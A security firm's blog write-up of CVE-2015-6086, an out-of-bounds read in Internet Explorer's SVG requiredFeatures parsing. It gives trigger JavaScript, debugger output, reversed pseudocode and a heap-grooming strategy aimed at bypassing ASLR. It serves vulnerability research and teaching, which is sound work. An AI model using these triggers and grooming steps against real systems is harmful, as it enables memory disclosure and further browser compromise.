From Crash To Exploit: Cve-2015-6086 – Out Of Bound Read /aslr Bypass

OUT OF BOUND READ BUG : INTRODUCTION

This is a story of an Out of Bound Read bug in Internet Explorer 9-11. This is almost 5 years old bug which got discovered in April 2015. It is a very interesting bug, at least from my perspective, because it was rejected almost 4-5 times by Zero Day Initiative (ZDI) stating that it’s not exploitable.

My SVG fuzzer was hitting a crash continuously, at first, the bug looked like usual Use after Free as it was trying to read Invalid Memory. But after triaging it turned out to be Out of Bound Read bug. I submitted this bug to ZDI and they rejected it at first stating that they are not able to reproduce it. Later they rejected saying it’s not exploitable even after showing them that this bug is exploitable. I do consulting work too, so I was busy with some other projects. After 3-4 months, I got time to look into the bug again as I firmly believed that this is an exploitable bug.

CRASH

The vulnerability trigger is relatively simple.

1function trigger() {
2    var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
3    polyLine.setAttributeNS(null, 'requiredFeatures', '\n');
4}

Note: We need to enable Page Heaps and Application Verifier for the crash to occur.

alt

alt

1(778.18c): Access violation - code c0000005 (first chance)
2First chance exceptions are reported before any exception handling.
3This exception may be expected and handled.
4eax=0000c0c0 ebx=00000005 ecx=00000000 edx=00000006 esi=0737f000 edi=0000002c
5eip=64c305d4 esp=060faf08 ebp=060faf24 iopl=0         nv up ei pl nz na pe nc
6cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
7MSHTML!CDOMStringDataList::InitFromString+0x4b:
864c305d4 0fb706          movzx   eax,word ptr [esi]       ds:0023:0737f000=????

As you can see that the Read Access Violation has occurred when it tried to de-reference an Invalid Memory.

CRASH ANALYSIS

Now, let’s find out what ESI register points to.

10:007> dc @esi
20737f000  ???????? ???????? ???????? ????????  ????????????????
30737f010  ???????? ???????? ???????? ????????  ????????????????
40737f020  ???????? ???????? ???????? ????????  ????????????????
50737f030  ???????? ???????? ???????? ????????  ????????????????
60737f040  ???????? ???????? ???????? ????????  ????????????????
70737f050  ???????? ???????? ???????? ????????  ????????????????
80737f060  ???????? ???????? ???????? ????????  ????????????????
90737f070  ???????? ???????? ???????? ????????  ????????????????

Nice, ESI seems to hold reference of either freed memory or unmapped memory. Let’s try to find out by executing !heap -p -a <address>.

 10:007> !heap -p -a @esi
 2    address 0737f000 found in
 3    _DPH_HEAP_ROOT @ 161000
 4    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
 5                                 73c1f70:          737eff0               10 -          737e000             2000
 6    6f4a8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
 7    77895ede ntdll!RtlDebugAllocateHeap+0x00000030
 8    7785a40a ntdll!RtlpAllocateHeap+0x000000c4
 9    77825ae0 ntdll!RtlAllocateHeap+0x0000023a
10    76afea43 ole32!CRetailMalloc_Alloc+0x00000016
11    76f44557 OLEAUT32!APP_DATA::AllocCachedMem+0x00000060
12    76f4476a OLEAUT32!SysAllocStringByteLen+0x0000003d
13    76f447bf OLEAUT32!ErrStringCopyNoNull+0x00000016
14    76f45dda OLEAUT32!VariantChangeTypeEx+0x00000a19
15    63e871b6 MSHTML!VariantChangeTypeSpecial+0x00000093
16    63f8581c MSHTML!CElement::SetAttributeFromPropDesc+0x00000069
17    63f857c3 MSHTML!CElement::ie9_setAttributeNSInternal+0x000003b0
18    64334301 MSHTML!CElement::setAttributeNS_Helper+0x00000069
19    6474d0fb MSHTML!CElement::Var_setAttributeNS+0x0000014a
20    64a65d9c MSHTML!CFastDOM::CElement::Trampoline_setAttributeNS+0x0000003c
21    63580fb6 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000018e
22    6357ed52 jscript9!Js::InterpreterStackFrame::Process+0x00001e72
23    6357f499 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200
24    

Sad, this is not a Use after Free vulnerability. Let’s dump the UserAddr and see what it holds.

10:007> dc 737eff0
20737eff0  00000002 0000000a c0c0c0c0 c0c0c0c0  ................
30737f000  ???????? ???????? ???????? ????????  ????????????????
40737f010  ???????? ???????? ???????? ????????  ????????????????
50737f020  ???????? ???????? ???????? ????????  ????????????????
60737f030  ???????? ???????? ???????? ????????  ????????????????
70737f040  ???????? ???????? ???????? ????????  ????????????????
80737f050  ???????? ???????? ???????? ????????  ????????????????
90737f060  ???????? ???????? ???????? ????????  ????????????????

I don’t know if you noticed or not, 737eff0 holds an interesting value, i.e. 0000000a which corresponds to \n. Also note that this allocation was done by OLEAUT32 which allocates memory in OLEAUT32 Cached Heap.

So, the next obvious thing to do was to try looking at the MSHTML!CDOMStringDataList::InitFromString function in IDA Pro and understand what’s happening.

I invested some time to reverse engineer this particular function code.

 1HRESULT __thiscall CDOMStringDataList::InitFromString(CDOMStringDataList *this, LPCWSTR lpCWStr)
 2{
 3  SIZE_T strLen; // Used in different places differently
 4  HRESULT hResult;
 5  PWCHAR pCurChar;
 6  CStr *pCStr;
 7  PWCHAR pCurString;
 8  CDOMStringDataList *pCDOMStringDataList;
 9  int outString;
10
11  strLen = 0;
12  pCDOMStringDataList = this;
13  hResult = S_OK;
14  CDOMStringDataList::Clear(this);
15  pCurChar = (PWCHAR)lpCWStr;
16  while ( *pCurChar != (_WORD)strLen )
17  {
18    // Trim white spaces
19    while ( IsCharSpaceW(*pCurChar) )
20      ++pCurChar;
21    // Bail out if string starts with comma
22    if ( *pCurChar == ',' )
23      return E_FAIL;
24    pCurString = pCurChar;
25    do
26    {
27      ++pCurChar;
28      ++strLen;
29    }
30    while ( !IsCharSpaceW(*pCurChar) && *pCurChar != ',' && *pCurChar );
31    outString = NULL;
32    hResult = CImplAry::AppendIndirect<4>(pCDOMStringDataList, &outString, &pCStr);
33    if ( hResult < 0 || (hResult = CStr::Set(pCStr, (LPVOID)strLen, pCurString, strLen, 1), hResult < 0) )
34    {
35      CStr::_Free((CStr *)&outString);
36      return hResult;
37    }
38    while ( IsCharSpaceW(*pCurChar) )
39      ++pCurChar;
40    if ( *pCurChar == ',' )
41      ++pCurChar;
42    CStr::_Free((CStr *)&outString);
43    strLen = 0;
44  }
45  return hResult;
46}

Note: Do not always belive in the disassembly produced by IDA Pro. Verify it manually by reading the Assembly code.

If you look closely at the function, you will be able to see the bug. So, the bug is improper handling of new line (“\n”) and white space character (” “). Due to this bug, it skips over and reads past the NULL terminator.

As, the attribute string is stored in the Heap, we need to carefully craft the adjacent Heap chunk to exploit this issue. But for now, let’s find out if the string is stored on the Process Heap or Isolated Heap.

Let’s dump the Process Heap and Isolated Heap handle.

10:007> ? poi(MSHTML!g_hProcessHeap)
2Evaluate expression: 1441792 = 00160000
3
40:007> ? poi(MSHTML!g_hIsolatedHeap)
5Evaluate expression: 104857600 = 06400000

If you look at the _DPH_HEAP_ROOT value from the !heap -p -a output you will see that _DPH_HEAP_ROOT @ 161000. We can conclude that required Features attribute is stored in Process Heap instead of Isolated Heap.

RECAP

  • Out of Bound Read vulnerability while setting required Features attribute value
  • requiredFeatures attribute is stored in the Process Heap
  • requiredFeatures attribute is cached
  • requiredFeatures attribute size can be dynamic

Now, let’s play more with the trigger PoC and try to set the requiredFeatures attribute to \n\n\n\n\n\n\n\n\n and examine the memory.

1function trigger() {
2    var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
3    polyLine.setAttributeNS(null, 'requiredFeatures', '\n\n\n\n\n\n\n\n\n');
4}

Before launching the PoC, let’s put a break point on MSHTML!CDOMStringDataList::InitFromString. When the breakpoint is hit, we will examine the memory pointed by ESI register.

Note: Disable Page Heaps and Application Verifier, we do not need them now.

10:007> dc @esi L7
200569634  000a000a 000a000a 000a000a 000a000a  ................
300569644  0000000a f4b352f6 00000000           .....R......

If you see the dump of the Heap chunk of requiredFeatures attribute carefully, you will notice that there are nine \n which is the same as what we tried to set in the PoC. But notice f4b352f6, where did this came from?

This is the padding added to the attribute value if the length is not aligned properly.

Next, we need to find a way to read the value of the requiredFeatures attribute. Looking at the Mozilla Developer Network page for SVGStringList interface, I came to know that we can read the attribute value using getItem(in unsigned long index).

Cool, let’s modify our PoC and try to read the value of requiredFeatures attribute.

 1function trigger() {
 2    var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
 3    polyLine.setAttributeNS(null, 'requiredFeatures', "Ashfaq\nAnsari");
 4
 5    var message = "Number of Items: " + polyLine.requiredFeatures.numberOfItems + "\n";
 6
 7    for (var i = 0; i < polyLine.requiredFeatures.numberOfItems; i++) {
 8        message += "Index: " + i + "\nValue: " + polyLine.requiredFeatures.getItem(i) + "\n";
 9    }
10
11    alert(message);
12}

Great, this confirms that we can read requiredFeatures attribute value using getItem(in unsigned long index).

EXPLOITATION STRATEGY

  • Defragment the Process Heap using object of the desired size
  • Make holes in the allocation
  • Re-allocate the holes with requiredFeatures attribute
  • Trigger the vulnerability and read the Out of Bound memory
  • As the browser does not crash when the vulnerability is triggered, we can try until we succeed

EXPLOITATION CHALLENGES

  • Find a size in which padding does not get appended
  • Find an object of the relevant size which gets stored in the Process Heap
  • requiredFeatures attribute is cached
  • Memory Protector is enabled by default
  • NULL terminator in the adjacent Heap chunk’s _HEAP_ENTRY structure will kill the exploit attempt

EXPLOITATION

Now, we know the strategy and the challenges to exploit this bug. First, let’s try to find a size where the padding does not get appeneded.

After trying different lengths of requiredFeatures attribute, finally, I found that, if the size is 0x0A0, then there will be no padding appened to the attribute value.

Note: Keep in mind that the value of requiredFeatures attribute is stored as BSTR).

Now, it’s time to find an object of size 0x0A0 which is stored in the Process Heap. After spending some time in IDA Pro, I found CDOMMSGestureEvent element whose size is 0x0A0 and is stored in the Process Heap.

Note: MSGestureEvent is not supported in Internet Explorer 9. You need to use different element.

Another challenge faced during the exploitation of this bug was that requiredFeatures attribute is cached and stored in OLEAUT32 Cached Heap. I tried Alexander Sotirov’s Plunger technique, but it did not work well for me. But, after experimenting, I found that a single trick can bypass this behaviour.

1for (i = 0; i < 0x50; i++) {
2    polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
3    // Trick to bypass allocation on OLEAUT32 Cached Heap
4    polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString("A", 0x0A0));
5    polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString("\n", 0x0A0));
6}

Now, let’s deal with Memory Protector which is another hurdle in the exploitation phase. There are really good papers on Memory Protector which can be found in the references section.

Finally, our last hurdle is the NULL bytes in the _HEAP_ENTRY structure of the Heap chunk which we want to read using this Out of Bound Read bug. I’m still tying to figure out why some Heap chunk have NULL bytes and some do not, even when they are of the same size. If you have the answer, please do let me know.

FINAL EXPLOIT

I have started a series of workshops on From Crash to Exploit at null – The Open Security Community. I already took the first workshop where I discussed the very same bug.

The exploit and other materials for this bug can be found at the below given Github repository.

https://github.com/payatu/CVE-2015-6086

This is just the BEGINNING, not the END.

REFERENCES

Subscribe to our Newsletter
Subscription Form
DOWNLOAD THE EBOOK

Fill in your details and get your copy of the ebook in few seconds

Ebook Download
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download ICS Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Cloud Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download IoT Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Code Review Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Red Team Assessment Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download AI/ML Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download DevSecOps Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Product Security Assessment Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download AI/ML Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download IoT Sample Report

Let’s make cyberspace secure together!

Requirements

Connect Now Form

What our clients are saying!

Trusted by